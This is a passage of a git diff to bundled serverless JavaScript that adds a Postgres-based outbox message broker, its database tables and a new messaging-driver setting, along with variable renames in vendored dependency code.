node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/indexes.js var IndexBuilderOn = class { constructor(unique, name) { @@ -71217,6 +71249,9 @@ __export(schema_exports, { contacts: () => contacts, contactsRelations: () => contactsRelations, employmentTypeEnum: () => employmentTypeEnum, + eventConsumers: () => eventConsumers, + eventDeliveries: () => eventDeliveries, + eventOutbox: () => eventOutbox, idempotencyKeys: () => idempotencyKeys, jobScores: () => jobScores, jobSourceEnum: () => jobSourceEnum, @@ -71671,6 +71706,60 @@ var processedEvents = pgTable( index("processed_events_processed_at_idx").on(table2.processedAt) ] ); +var eventOutbox = pgTable( + "event_outbox", + { + eventId: uuid3("event_id").primaryKey(), + eventType: varchar("event_type", { length: 120 }).notNull(), + occurredAt: timestamp("occurred_at", { withTimezone: true, mode: "string" }).notNull(), + // The envelope's trace context, flattened so "what happened to trace X" is + // a plain indexed query. No FKs: the outbox must never block a user or + // organization deletion. + traceId: varchar("trace_id", { length: 100 }).notNull(), + correlationId: varchar("correlation_id", { length: 100 }).notNull(), + organizationId: uuid3("organization_id"), + userId: uuid3("user_id"), + payload: jsonb("payload").$type().notNull(), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + // Drain cursor order (created_at, event_id), also the purge scan. + index("event_outbox_created_idx").on(table2.createdAt, table2.eventId), + // Fan-out for consumers that subscribe to a few of the event types. + index("event_outbox_type_created_idx").on(table2.eventType, table2.createdAt, table2.eventId), + index("event_outbox_trace_idx").on(table2.traceId) + ] +); +var eventConsumers = pgTable("event_consumers", { + consumer: varchar("consumer", { length: 160 }).primaryKey(), + eventTypes: text("event_types").array().notNull(), + materializedThrough: timestamp("materialized_through", { withTimezone: true, mode: "string" }).notNull().default(sql`'1970-01-01T00:00:00Z'`), + lastDrainedAt: timestamp("last_drained_at", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() +}); +var eventDeliveries = pgTable( + "event_deliveries", + { + eventId: uuid3("event_id").notNull().references(() => eventOutbox.eventId, { onDelete: "cascade" }), + consumer: varchar("consumer", { length: 160 }).notNull(), + status: varchar("status", { length: 16 }).notNull().default("pending"), + attempts: integer2("attempts").notNull().default(0), + /** Sanitized and truncated by the broker — never a raw driver message. */ + lastError: text("last_error"), + nextAttemptAt: timestamp("next_attempt_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + lockedUntil: timestamp("locked_until", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + updatedAt: timestamp("updated_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + primaryKey({ columns: [table2.eventId, table2.consumer] }), + // The claim query: due pending work for a consumer, oldest first. Partial, + // so the (large, append-only) done history never bloats the hot path. + index("event_deliveries_claim_idx").on(table2.consumer, table2.nextAttemptAt).where(sql`${table2.status} = 'pending'`), + index("event_deliveries_dead_idx").on(table2.consumer, table2.updatedAt).where(sql`${table2.status} = 'dead'`), + check2("event_deliveries_status_check", sql`${table2.status} IN ('pending', 'done', 'dead')`) + ] +); var connectorAccounts = pgTable( "connector_accounts", { @@ -71768,7 +71857,7 @@ var redisEnvSchema = external_exports.object({ REDIS_URL: external_exports.string().min(1).default("redis://localhost:6379") }); var messagingEnvSchema = external_exports.object({ - MESSAGING_DRIVER: external_exports.enum(["memory", "rabbitmq"]).default("memory"), + MESSAGING_DRIVER: external_exports.enum(["memory", "rabbitmq", "postgres"]).default("memory"), RABBITMQ_URL: external_exports.string().min(1).optional(), MESSAGING_EXCHANGE: external_exports.string().min(1).default("atlas.events"), MESSAGING_MAX_RETRIES: external_exports.coerce.number().int().min(0).max(20).default(5) diff --git a/api/jobs/index.js b/api/jobs/index.js index cb3cf55..60211c5 100644 --- a/api/jobs/index.js +++ b/api/jobs/index.js @@ -1954,7 +1954,7 @@ var require_wait = __commonJS({ var WAIT_MS = 1e4; function wait(state, index2, expected, timeout, done) { const max = timeout === Infinity ? Infinity : Date.now() + timeout; - const check2 = () => { + const check3 = () => { const current = Atomics.load(state, index2); if (current === expected) { done(null, "ok"); @@ -1967,16 +1967,16 @@ var require_wait = __commonJS({ const remaining = max === Infinity ? WAIT_MS : Math.min(WAIT_MS, Math.max(1, max - Date.now())); const result = Atomics.waitAsync(state, index2, current, remaining); if (result.async) { - result.value.then(check2); + result.value.then(check3); } else { - setImmediate(check2); + setImmediate(check3); } }; - check2(); + check3(); } function waitDiff(state, index2, expected, timeout, done) { const max = timeout === Infinity ? Infinity : Date.now() + timeout; - const check2 = () => { + const check3 = () => { const current = Atomics.load(state, index2); if (current !== expected) { done(null, "ok"); @@ -1994,13 +1994,13 @@ var require_wait = __commonJS({ done(null, "ok"); return; } - check2(); + check3(); }); } else { - setImmediate(check2); + setImmediate(check3); } }; - check2(); + check3(); } module.exports = { wait, waitDiff }; } @@ -10447,8 +10447,8 @@ var require_heartbeat = __commonJS({ clearInterval(this.sendTimer); clearInterval(this.recvTimer); } - runHeartbeat(check2, fail) { - if (!check2()) + runHeartbeat(check3, fail) { + if (!check3()) fail(); } }; @@ -11047,14 +11047,14 @@ var require_connection = __commonJS({ recv(); } checkSend() { - var check2 = this.sentSinceLastCheck; + var check3 = this.sentSinceLastCheck; this.sentSinceLastCheck = false; - return check2; + return check3; } checkRecv() { - var check2 = this.recvSinceLastCheck; + var check3 = this.recvSinceLastCheck; this.recvSinceLastCheck = false; - return check2; + return check3; } sendBytes(bytes) { this.sentSinceLastCheck = true; @@ -17179,13 +17179,13 @@ var require_plugin = __commonJS({ done(); return; } - const check2 = () => { + const check3 = () => { debug("check", this.name, this.queue.length(), this.queue.running(), this._promise); if (this.queue.length() === 0 && this.queue.running() === 0) { if (this._promise) { const wrap = () => { debug("wrap"); - queueMicrotask(check2); + queueMicrotask(check3); }; this._promise.resolve(); this._promise.promise.then(wrap, wrap); @@ -17198,11 +17198,11 @@ var require_plugin = __commonJS({ this.queue.drain = () => { debug("drain", this.name); this.queue.drain = noop3; - queueMicrotask(check2); + queueMicrotask(check3); }; } }; - queueMicrotask(check2); + queueMicrotask(check3); this.queue.resume(); }; function noop3() { @@ -53986,9 +53986,14 @@ function createVercelHandler(app2) { }; } var SERVERLESS_PLACEHOLDER_PORT = "3000"; +var SERVERLESS_DEFAULT_MESSAGING_DRIVER = "postgres"; function withServerlessEnvDefaults(source = process.env) { if (!source.VERCEL) return source; - return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; + return { + ...source, + PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT, + MESSAGING_DRIVER: source.MESSAGING_DRIVER ?? SERVERLESS_DEFAULT_MESSAGING_DRIVER + }; } // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/buffer_utils.js @@ -67516,8 +67521,8 @@ var ZodType = /* @__PURE__ */ $constructor("ZodType", (inst, def) => { reg.add(this, meta3); return this; }, - refine(check2, params) { - return this.check(refine(check2, params)); + refine(check3, params) { + return this.check(refine(check3, params)); }, superRefine(refinement, params) { return this.check(superRefine(refinement, params)); @@ -75083,6 +75088,33 @@ var pgTable = (name, columns, extraConfig) => { return pgTableWithSchema(name, columns, extraConfig, void 0); }; +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/checks.js +var CheckBuilder = class { + constructor(name, value) { + this.name = name; + this.value = value; + } + static [entityKind] = "PgCheckBuilder"; + brand; + /** @internal */ + build(table2) { + return new Check(table2, this); + } +}; +var Check = class { + constructor(table2, builder) { + this.table = table2; + this.name = builder.name; + this.value = builder.value; + } + static [entityKind] = "PgCheck"; + name; + value; +}; +function check2(name, value) { + return new CheckBuilder(name, value); +} + // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/indexes.js var IndexBuilderOn = class { constructor(unique, name) { @@ -79179,6 +79211,9 @@ __export(schema_exports, { contacts: () => contacts, contactsRelations: () => contactsRelations, employmentTypeEnum: () => employmentTypeEnum, + eventConsumers: () => eventConsumers, + eventDeliveries: () => eventDeliveries, + eventOutbox: () => eventOutbox, idempotencyKeys: () => idempotencyKeys, jobScores: () => jobScores, jobSourceEnum: () => jobSourceEnum, @@ -79633,6 +79668,60 @@ var processedEvents = pgTable( index("processed_events_processed_at_idx").on(table2.processedAt) ] ); +var eventOutbox = pgTable( + "event_outbox", + { + eventId: uuid3("event_id").primaryKey(), + eventType: varchar("event_type", { length: 120 }).notNull(), + occurredAt: timestamp("occurred_at", { withTimezone: true, mode: "string" }).notNull(), + // The envelope's trace context, flattened so "what happened to trace X" is + // a plain indexed query. No FKs: the outbox must never block a user or + // organization deletion. + traceId: varchar("trace_id", { length: 100 }).notNull(), + correlationId: varchar("correlation_id", { length: 100 }).notNull(), + organizationId: uuid3("organization_id"), + userId: uuid3("user_id"), + payload: jsonb("payload").$type().notNull(), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + // Drain cursor order (created_at, event_id), also the purge scan. + index("event_outbox_created_idx").on(table2.createdAt, table2.eventId), + // Fan-out for consumers that subscribe to a few of the event types. + index("event_outbox_type_created_idx").on(table2.eventType, table2.createdAt, table2.eventId), + index("event_outbox_trace_idx").on(table2.traceId) + ] +); +var eventConsumers = pgTable("event_consumers", { + consumer: varchar("consumer", { length: 160 }).primaryKey(), + eventTypes: text("event_types").array().notNull(), + materializedThrough: timestamp("materialized_through", { withTimezone: true, mode: "string" }).notNull().default(sql`'1970-01-01T00:00:00Z'`), + lastDrainedAt: timestamp("last_drained_at", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() +}); +var eventDeliveries = pgTable( + "event_deliveries", + { + eventId: uuid3("event_id").notNull().references(() => eventOutbox.eventId, { onDelete: "cascade" }), + consumer: varchar("consumer", { length: 160 }).notNull(), + status: varchar("status", { length: 16 }).notNull().default("pending"), + attempts: integer2("attempts").notNull().default(0), + /** Sanitized and truncated by the broker — never a raw driver message. */ + lastError: text("last_error"), + nextAttemptAt: timestamp("next_attempt_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + lockedUntil: timestamp("locked_until", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + updatedAt: timestamp("updated_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + primaryKey({ columns: [table2.eventId, table2.consumer] }), + // The claim query: due pending work for a consumer, oldest first. Partial, + // so the (large, append-only) done history never bloats the hot path. + index("event_deliveries_claim_idx").on(table2.consumer, table2.nextAttemptAt).where(sql`${table2.status} = 'pending'`), + index("event_deliveries_dead_idx").on(table2.consumer, table2.updatedAt).where(sql`${table2.status} = 'dead'`), + check2("event_deliveries_status_check", sql`${table2.status} IN ('pending', 'done', 'dead')`) + ] +); var connectorAccounts = pgTable( "connector_accounts", { @@ -79785,20 +79874,471 @@ var MemoryBroker = class { } }; +// packages/messaging/src/postgres-broker.ts +var EPOCH = "1970-01-01T00:00:00Z"; +var NIL_UUID = "00000000-0000-0000-0000-000000000000"; +var DEFAULT_MAX_RETRIES = 5; +var DEFAULT_LEASE_MS = 9e4; +var DEFAULT_VISIBILITY_OVERLAP_MS = 6e4; +var DEFAULT_RETENTION_MS = 7 * 24 * 60 * 60 * 1e3; +var DEFAULT_DRAIN_LIMIT = 100; +var DEFAULT_DRAIN_BUDGET_MS = 2e4; +var FAN_OUT_BATCH = 500; +var DEFAULT_PURGE_LIMIT = 500; +var MAX_ERROR_LENGTH = 300; +var MAX_CONSUMER_LENGTH = 160; +function inList(values2) { + return sql.join( + values2.map((value) => sql`${value}`), + sql`, ` + ); +} +function sanitizeError(error51) { + let described; + if (error51 instanceof Error) { + const inner = error51.message.startsWith("Failed query") && error51.cause instanceof Error ? error51.cause : error51; + described = `${inner.name}: ${inner.message}`; + } else { + described = String(error51); + } + return (described.split("\n")[0] ?? "").replace(/[a-z][a-z0-9+.-]*:\/\/[^\s/@]+@\S+/gi, "[url]").replace(/\beyJ[\w-]+\.[\w-]+\.[\w-]*/g, "[token]").replace(/[\w.+-]+@[\w-]+(?:\.[\w-]+)+/g, "[email]").replace(/[\u0000-\u001f\u007f]/g, " ").trim().slice(0, MAX_ERROR_LENGTH); +} +var PostgresBroker = class { + db; + logger; + defaultMaxRetries; + leaseMs; + visibilityOverlapMs; + retentionMs; + backoffMs; + onDeadLetter; + registrations = /* @__PURE__ */ new Map(); + closed = false; + constructor(options) { + this.db = options.db; + this.logger = options.logger; + this.defaultMaxRetries = options.defaultMaxRetries ?? DEFAULT_MAX_RETRIES; + this.leaseMs = options.leaseMs ?? DEFAULT_LEASE_MS; + this.visibilityOverlapMs = options.visibilityOverlapMs ?? DEFAULT_VISIBILITY_OVERLAP_MS; + this.retentionMs = options.retentionMs ?? DEFAULT_RETENTION_MS; + this.backoffMs = options.backoffMs ?? ((retry) => backoffDelayMs(retry)); + this.onDeadLetter = options.onDeadLetter; + } + async publish(envelope) { + this.assertOpen(); + const event = parseEvent(envelope); + await this.db.insert(schema_exports.eventOutbox).values({ + eventId: event.event_id, + eventType: event.event_type, + occurredAt: event.occurred_at, + traceId: event.trace.trace_id, + correlationId: event.trace.correlation_id, + organizationId: event.trace.organization_id, + userId: event.trace.user_id, + payload: event.payload + }).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } + async subscribe(options) { + this.assertOpen(); + if (this.registrations.has(options.consumer)) { + throw new Error(`Consumer "${options.consumer}" is already subscribed`); + } + if (options.consumer.length === 0 || options.consumer.length > MAX_CONSUMER_LENGTH) { + throw new Error(`Consumer name must be 1-${MAX_CONSUMER_LENGTH} characters`); + } + if (options.eventTypes.length === 0) { + throw new Error(`Consumer "${options.consumer}" must subscribe to at least one event type`); + } + this.registrations.set(options.consumer, options); + return { + consumer: options.consumer, + stop: async () => { + this.registrations.delete(options.consumer); + } + }; + } + /** + * Delivers due events to the handlers registered on this instance: + * registers the consumers, fans new outbox rows out to them, then claims + * and runs deliveries one at a time until `limit` deliveries have been + * attempted, `budgetMs` has elapsed, or nothing is due. Safe to run + * concurrently from any number of instances — a delivery is claimed with + * `FOR UPDATE SKIP LOCKED` and leased, so exactly one drain runs it. + */ + async drain(options = {}) { + this.assertOpen(); + const limit = options.limit ?? DEFAULT_DRAIN_LIMIT; + const budgetMs = options.budgetMs ?? DEFAULT_DRAIN_BUDGET_MS; + const startedAt = performance.now(); + const outOfTime = () => performance.now() - startedAt >= budgetMs; + const result = { processed: 0, failed: 0, dead: 0, purged: 0 }; + const registrations = [...this.registrations.values()]; + if (registrations.length === 0) return result; + const states = await this.registerConsumers(registrations); + for (const registration of registrations) { + if (outOfTime()) break; + const state = states.get(registration.consumer); + if (state !== void 0) await this.fanOut(registration, state, outOfTime); + } + const byName = new Map( + registrations.map((registration) => [registration.consumer, registration]) + ); + const names = [...byName.keys()]; + while (result.processed + result.failed + result.dead < limit && !outOfTime()) { + const claimed = await this.claimNext(names); + if (claimed === null) break; + const registration = byName.get(claimed.consumer); + if (registration === void 0) break; + result[await this.deliver(registration, claimed)] += 1; + } + if (this.retentionMs > 0 && !outOfTime()) { + result.purged = await this.purge(new Date(Date.now() - this.retentionMs)); + } + return result; + } + /** + * Removes outbox events (and, by cascade, their delivery rows) created + * before `olderThan`, in batches. An event is kept while any delivery is + * still `pending` (including a retry that is backing off), while a + * registered consumer subscribed to its type has no delivery for it yet and + * has not been fanned out past it (so it could still be owed the event), + * and — unless `includeDead` — while any delivery is `dead`. Returns the + * number of events removed. + * + * A consumer that is registered but permanently gone keeps its types from + * being purged; remove its `event_consumers` row when decommissioning it. + */ + async purge(olderThan, options = {}) { + this.assertOpen(); + const cutoff = typeof olderThan === "string" ? olderThan : olderThan.toISOString(); + const rows = await this.db.execute(sql` + WITH doomed AS ( + SELECT o.event_id + FROM event_outbox o + WHERE o.created_at < ${cutoff}::timestamptz + AND NOT EXISTS ( + SELECT 1 FROM event_deliveries d + WHERE d.event_id = o.event_id + AND (d.status = 'pending' OR (d.status = 'dead' AND NOT ${options.includeDead === true}::boolean)) + ) + AND NOT EXISTS ( + SELECT 1 FROM event_consumers c + WHERE o.event_type = ANY (c.event_types) + AND c.materialized_through <= o.created_at + AND NOT EXISTS ( + SELECT 1 FROM event_deliveries d2 WHERE d2.event_id = o.event_id AND d2.consumer = c.consumer + ) + ) + ORDER BY o.created_at + LIMIT ${options.limit ?? DEFAULT_PURGE_LIMIT} + FOR UPDATE OF o SKIP LOCKED + ) + DELETE FROM event_outbox WHERE event_id IN (SELECT event_id FROM doomed) + RETURNING event_id + `); + return rows.length; + } + isHealthy() { + return !this.closed; + } + async close() { + this.closed = true; + this.registrations.clear(); + } + assertOpen() { + if (this.closed) throw new Error("PostgresBroker is closed"); + } + /** + * Upserts this instance's consumers. A consumer new to the table starts at + * the epoch (so it receives the whole retained history); one that has since + * subscribed to an event type it did not have before is rewound to the epoch + * too, which is harmless for the types it already had because delivery rows + * are unique per (event, consumer). + */ + async registerConsumers(registrations) { + const table2 = schema_exports.eventConsumers; + const rows = await this.db.insert(table2).values( + registrations.map((registration) => ({ + consumer: registration.consumer, + eventTypes: [...registration.eventTypes] + })) + ).onConflictDoUpdate({ + target: table2.consumer, + set: { + materializedThrough: sql`CASE WHEN ${table2.eventTypes} @> excluded.event_types THEN ${table2.materializedThrough} ELSE ${EPOCH}::timestamptz END`, + eventTypes: sql`excluded.event_types` + } + }).returning({ + consumer: table2.consumer, + materializedThrough: sql`${table2.materializedThrough}::text`, + snapshotAt: sql`now()::text` + }); + return new Map( + rows.map((row) => [ + row.consumer, + { materializedThrough: row.materializedThrough, snapshotAt: row.snapshotAt } + ]) + ); + } + /** + * Creates a `pending` delivery for `registration` for every outbox row of + * its types at or after `state.materializedThrough`, in (created_at, + * event_id) order and in bounded batches, then advances the cursor. + * + * Why the cursor trails the clock. `created_at` is the transaction start, a + * row only becomes visible when it commits, and the scan reads whatever is + * visible now. A row that commits after this scan therefore must not fall + * behind the cursor, or it would never be delivered. A row invisible to a + * statement that ran at time T committed after T, so its `created_at` is + * later than T minus the longest publish transaction. The cursor is held at + * T minus `visibilityOverlapMs` (and never past the last row scanned if the + * pass was cut short), and the overlap window is simply scanned again next + * time; `ON CONFLICT DO NOTHING` makes the repeat free of side effects. + */ + async fanOut(registration, state, outOfTime) { + let afterCreatedAt = state.materializedThrough; + let afterEventId = NIL_UUID; + let lastScannedAt = null; + let complete = false; + while (!outOfTime()) { + const batch = await this.db.execute(sql` + WITH batch AS ( + SELECT event_id, created_at + FROM event_outbox + WHERE event_type IN (${inList(registration.eventTypes)}) + AND (created_at, event_id) > (${afterCreatedAt}::timestamptz, ${afterEventId}::uuid) + ORDER BY created_at, event_id + LIMIT ${FAN_OUT_BATCH} + ), inserted AS ( + INSERT INTO event_deliveries (event_id, consumer, next_attempt_at) + SELECT event_id, ${registration.consumer}::varchar, now() FROM batch + ON CONFLICT (event_id, consumer) DO NOTHING + ) + SELECT event_id, created_at::text AS created_at FROM batch ORDER BY created_at, event_id + `); + const last = batch[batch.length - 1]; + if (last !== void 0) { + afterCreatedAt = last.created_at; + afterEventId = last.event_id; + lastScannedAt = last.created_at; + } + if (batch.length < FAN_OUT_BATCH) { + complete = true; + break; + } + } + const bound = complete ? "infinity" : lastScannedAt ?? state.materializedThrough; + await this.db.execute(sql` + UPDATE event_consumers + SET materialized_through = GREATEST( + materialized_through, + LEAST( + ${state.snapshotAt}::timestamptz - make_interval(secs => ${this.visibilityOverlapMs / 1e3}::double precision), + ${bound}::timestamptz + ) + ), + last_drained_at = now() + WHERE consumer = ${registration.consumer} + `); + } + /** + * Leases the oldest due delivery of any of `consumers`. `SKIP LOCKED` makes + * concurrent claimers pass over each other's rows instead of waiting; the + * lease (`locked_until`) then keeps the row claimed after this statement's + * row lock is gone, while the handler runs outside any transaction. + * `attempts` is bumped here, so a delivery that keeps crashing its drain + * still runs out of retries. + */ + async claimNext(consumers) { + const rows = await this.db.execute(sql` + WITH picked AS ( + SELECT event_id, consumer + FROM event_deliveries + WHERE consumer IN (${inList(consumers)}) + AND status = 'pending' + AND next_attempt_at <= now() + AND (locked_until IS NULL OR locked_until <= now()) + ORDER BY next_attempt_at, created_at + LIMIT 1 + FOR UPDATE SKIP LOCKED + ), claimed AS ( + UPDATE event_deliveries d + SET attempts = d.attempts + 1, + locked_until = now() + make_interval(secs => ${this.leaseMs / 1e3}::double precision), + updated_at = now() + FROM picked + WHERE d.event_id = picked.event_id AND d.consumer = picked.consumer + RETURNING d.event_id, d.consumer, d.attempts + ) + SELECT c.consumer, + c.attempts, + o.event_id, + o.event_type, + to_char(o.occurred_at AT TIME ZONE 'UTC', 'YYYY-MM-DD"T"HH24:MI:SS.MS"Z"') AS occurred_at, + o.trace_id, + o.correlation_id, + o.organization_id, + o.user_id, + o.payload + FROM claimed c + JOIN event_outbox o ON o.event_id = c.event_id + `); + return rows[0] ?? null; + } + async deliver(registration, claimed) { + let envelope; + try { + envelope = parseEvent({ + event_id: claimed.event_id, + event_type: claimed.event_type, + occurred_at: claimed.occurred_at, + trace: { + trace_id: claimed.trace_id, + correlation_id: claimed.correlation_id, + organization_id: claimed.organization_id, + user_id: claimed.user_id + }, + payload: claimed.payload + }); + } catch (error51) { + this.logger.error( + { consumer: claimed.consumer, event_id: claimed.event_id }, + "dead-lettering unparseable outbox event" + ); + return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error51)}`); + } + if (claimed.attempts - 1 > this.maxRetriesFor(registration)) { + return this.bury( + claimed, + envelope, + "retries exhausted: earlier attempts never reported back (the function timed out or crashed)" + ); + } + try { + if (await this.alreadyProcessed(claimed)) { + return await this.complete(claimed); + } + } catch (error51) { + return this.retryOrBury(registration, claimed, envelope, error51); + } + const context2 = { attempt: claimed.attempts - 1, trace: envelope.trace }; + try { + await registration.handler(envelope, context2); + } catch (error51) { + return this.retryOrBury(registration, claimed, envelope, error51); + } + return this.complete(claimed); + } + async alreadyProcessed(claimed) { + const [row] = await this.db.select({ eventId: schema_exports.processedEvents.eventId }).from(schema_exports.processedEvents).where( + and( + eq(schema_exports.processedEvents.eventId, claimed.event_id), + eq(schema_exports.processedEvents.consumer, claimed.consumer) + ) + ).limit(1); + return row !== void 0; + } + /** + * Records success: the `processed_events` row (idempotent — analytics + * writes its own inside its handler, in the same transaction as its side + * effect) and `done`, atomically. The update is fenced on `attempts`, so a + * drain whose lease expired mid-handler cannot overwrite the state written + * by whoever claimed the delivery next. + */ + async complete(claimed) { + try { + const updated = await this.db.transaction(async (tx) => { + await tx.insert(schema_exports.processedEvents).values({ eventId: claimed.event_id, consumer: claimed.consumer }).onConflictDoNothing(); + return tx.update(schema_exports.eventDeliveries).set({ status: "done", lockedUntil: null, lastError: null, updatedAt: sql`now()` }).where(this.fence(claimed)).returning({ eventId: schema_exports.eventDeliveries.eventId }); + }); + if (updated.length === 0) { + this.logger.warn( + { consumer: claimed.consumer, event_id: claimed.event_id }, + "delivery lease expired before completion; another drain owns it now" + ); + } + return "processed"; + } catch (error51) { + this.logger.error( + { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + "failed to record a successful delivery" + ); + return "failed"; + } + } + async retryOrBury(registration, claimed, envelope, error51) { + const retry = claimed.attempts - 1; + const description = sanitizeError(error51); + if (retry < this.maxRetriesFor(registration)) { + return this.settle(claimed, "failed", description, this.backoffMs(retry)); + } + return this.bury(claimed, envelope, description); + } + maxRetriesFor(registration) { + return registration.maxRetries ?? this.defaultMaxRetries; + } + async bury(claimed, envelope, description) { + this.logger.error( + { consumer: claimed.consumer, event_id: claimed.event_id, attempts: claimed.attempts }, + "dead-lettering event after exhausting retries" + ); + const outcome = await this.settle(claimed, "dead", description); + try { + this.onDeadLetter?.({ + envelope, + consumer: claimed.consumer, + attempts: claimed.attempts, + error: description, + deadLetteredAt: (/* @__PURE__ */ new Date()).toISOString() + }); + } catch (callbackError) { + this.logger.error({ err: callbackError }, "onDeadLetter callback threw"); + } + return outcome; + } + /** Writes a failure: back to `pending` after `delayMs`, or `dead`. */ + async settle(claimed, outcome, description, delayMs = 0) { + try { + await this.db.update(schema_exports.eventDeliveries).set({ + status: outcome === "dead" ? "dead" : "pending", + lastError: description, + lockedUntil: null, + nextAttemptAt: sql`now() + make_interval(secs => ${delayMs / 1e3}::double precision)`, + updatedAt: sql`now()` + }).where(this.fence(claimed)); + } catch (error51) { + this.logger.error( + { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + "failed to record a failed delivery" + ); + } + return outcome; + } + fence(claimed) { + return and( + eq(schema_exports.eventDeliveries.eventId, claimed.event_id), + eq(schema_exports.eventDeliveries.consumer, claimed.consumer), + eq(schema_exports.eventDeliveries.attempts, claimed.attempts), + eq(schema_exports.eventDeliveries.status, "pending") + ); + } +}; + // packages/messaging/src/rabbitmq-broker.ts var import_amqplib = __toESM(require_channel_api(), 1); // packages/messaging/src/envelope.ts -function createEvent(eventType, payload, trace2, occurredAt = (/* @__PURE__ */ new Date()).toISOString()) { +function createEvent(eventType, payload, trace2, occurredAt = (/* @__PURE__ */ new Date()).toISOString(), eventId = newUuid()) { eventPayloadSchema(eventType).parse(payload); return { - event_id: newUuid(), + event_id: eventId, event_type: eventType, occurred_at: occurredAt, trace: trace2, payload }; } +var DERIVED_EVENT_NAMESPACE = Buffer.from("6f1d0c3ae2b94d7f8a5c9e04b7d31a62", "hex"); function routingKeyFor(eventType) { return eventType; } @@ -79948,6 +80488,16 @@ function createBroker(options) { if (options.driver === "memory") { return new MemoryBroker({ defaultMaxRetries: options.maxRetries ?? 3 }); } + if (options.driver === "postgres") { + if (options.db === void 0) { + throw new Error("A database handle is required when MESSAGING_DRIVER=postgres"); + } + return new PostgresBroker({ + db: options.db, + logger: options.logger, + ...options.maxRetries === void 0 ? {} : { defaultMaxRetries: options.maxRetries } + }); + } if (options.url === void 0 || options.url === "") { throw new Error("RABBITMQ_URL is required when MESSAGING_DRIVER=rabbitmq"); } @@ -79979,7 +80529,7 @@ var redisEnvSchema = external_exports.object({ REDIS_URL: external_exports.string().min(1).default("redis://localhost:6379") }); var messagingEnvSchema = external_exports.object({ - MESSAGING_DRIVER: external_exports.enum(["memory", "rabbitmq"]).default("memory"), + MESSAGING_DRIVER: external_exports.enum(["memory", "rabbitmq", "postgres"]).default("memory"), RABBITMQ_URL: external_exports.string().min(1).optional(), MESSAGING_EXCHANGE: external_exports.string().min(1).default("atlas.events"), MESSAGING_MAX_RETRIES: external_exports.coerce.number().int().min(0).max(20).default(5) @@ -80581,6 +81131,7 @@ var broker = createBroker({ url: env.RABBITMQ_URL, exchange: env.MESSAGING_EXCHANGE, maxRetries: env.MESSAGING_MAX_RETRIES, + db, logger }); var tokenVerifier = createTokenVerifierConfig(env); diff --git a/api/learning/index.js b/api/learning/index.js index d0d3f42..c34519a 100644 --- a/api/learning/index.js +++ b/api/learning/index.js @@ -1954,7 +1954,7 @@ var require_wait = __commonJS({ var WAIT_MS = 1e4; function wait(state, index2, expected, timeout, done) { const max = timeout === Infinity ? Infinity : Date.now() + timeout; - const check2 = () => { + const check3 = () => { const current = Atomics.load(state, index2); if (current === expected) { done(null, "ok"); @@ -1967,16 +1967,16 @@ var require_wait = __commonJS({ const remaining = max === Infinity ? WAIT_MS : Math.min(WAIT_MS, Math.max(1, max - Date.now())); const result = Atomics.waitAsync(state, index2, current, remaining); if (result.async) { - result.value.then(check2); + result.value.then(check3); } else { - setImmediate(check2); + setImmediate(check3); } }; - check2(); + check3(); } function waitDiff(state, index2, expected, timeout, done) { const max = timeout === Infinity ? Infinity : Date.now() + timeout; - const check2 = () => { + const check3 = () => { const current = Atomics.load(state, index2); if (current !== expected) { done(null, "ok"); @@ -1994,13 +1994,13 @@ var require_wait = __commonJS({ done(null, "ok"); return; } - check2(); + check3(); }); } else { - setImmediate(check2); + setImmediate(check3); } }; - check2(); + check3(); } module.exports = { wait, waitDiff }; } @@ -10447,8 +10447,8 @@ var require_heartbeat = __commonJS({ clearInterval(this.sendTimer); clearInterval(this.recvTimer); } - runHeartbeat(check2, fail) { - if (!check2()) + runHeartbeat(check3, fail) { + if (!check3()) fail(); } }; @@ -11047,14 +11047,14 @@ var require_connection = __commonJS({ recv(); } checkSend() { - var check2 = this.sentSinceLastCheck; + var check3 = this.sentSinceLastCheck; this.sentSinceLastCheck = false; - return check2; + return check3; } checkRecv() { - var check2 = this.recvSinceLastCheck; + var check3 = this.recvSinceLastCheck; this.recvSinceLastCheck = false; - return check2; + return check3; } sendBytes(bytes) { this.sentSinceLastCheck = true; @@ -17179,13 +17179,13 @@ var require_plugin = __commonJS({ done(); return; } - const check2 = () => { + const check3 = () => { debug("check", this.name, this.queue.length(), this.queue.running(), this._promise); if (this.queue.length() === 0 && this.queue.running() === 0) { if (this._promise) { const wrap = () => { debug("wrap"); - queueMicrotask(check2); + queueMicrotask(check3); }; this._promise.resolve(); this._promise.promise.then(wrap, wrap); @@ -17198,11 +17198,11 @@ var require_plugin = __commonJS({ this.queue.drain = () => { debug("drain", this.name); this.queue.drain = noop3; - queueMicrotask(check2); + queueMicrotask(check3); }; } }; - queueMicrotask(check2); + queueMicrotask(check3); this.queue.resume(); }; function noop3() { @@ -53965,9 +53965,14 @@ function createVercelHandler(app2) { }; } var SERVERLESS_PLACEHOLDER_PORT = "3000"; +var SERVERLESS_DEFAULT_MESSAGING_DRIVER = 